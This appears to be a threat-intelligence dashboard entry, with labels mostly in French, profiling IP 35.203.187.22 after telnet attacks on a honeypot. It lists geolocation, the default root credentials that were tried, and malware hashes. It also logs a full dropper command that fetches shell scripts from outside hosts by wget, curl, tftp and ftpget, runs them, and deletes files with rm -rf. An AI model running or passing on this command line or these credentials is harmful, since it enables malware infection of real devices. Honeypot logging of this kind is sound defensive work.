TROYANOSYVIRUS
Menace Active • FAIBLE

35.203.187.22

Premiere Detection30/03/2026
Derniere Activite30/03/2026
FAIGoogle LLC
🎯
36
Attaques Totales
🔌
1
Ports
📡
1
Types d'Attaque
🦠
2
Malware

Geolocalisation

Pays
🇺🇸 Estados Unidos
Ville
The Dalles
ASN
AS396982
FAI
Google LLC

Types d'Attaque

ssh_telnet_honeypot

Ports Attaques

23

Malware Associe

2ee89245c6dd3edd3e14...→cbe4713b10ed5f1536c7...→

Identifiants Tentes

🔐root/root
4x
🔐root/(vide)
3x
🔐root/icatch99
1x

Commandes Executees

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://38.83.138.59:25884/nz.sh; curl -O http://38.83.138.59:25884/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 165.22.252.236 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 165.22.252.236; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 165.22.252.236 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *1x

Evaluation des Risques

25
/100
FaibleMoyenEleveCritique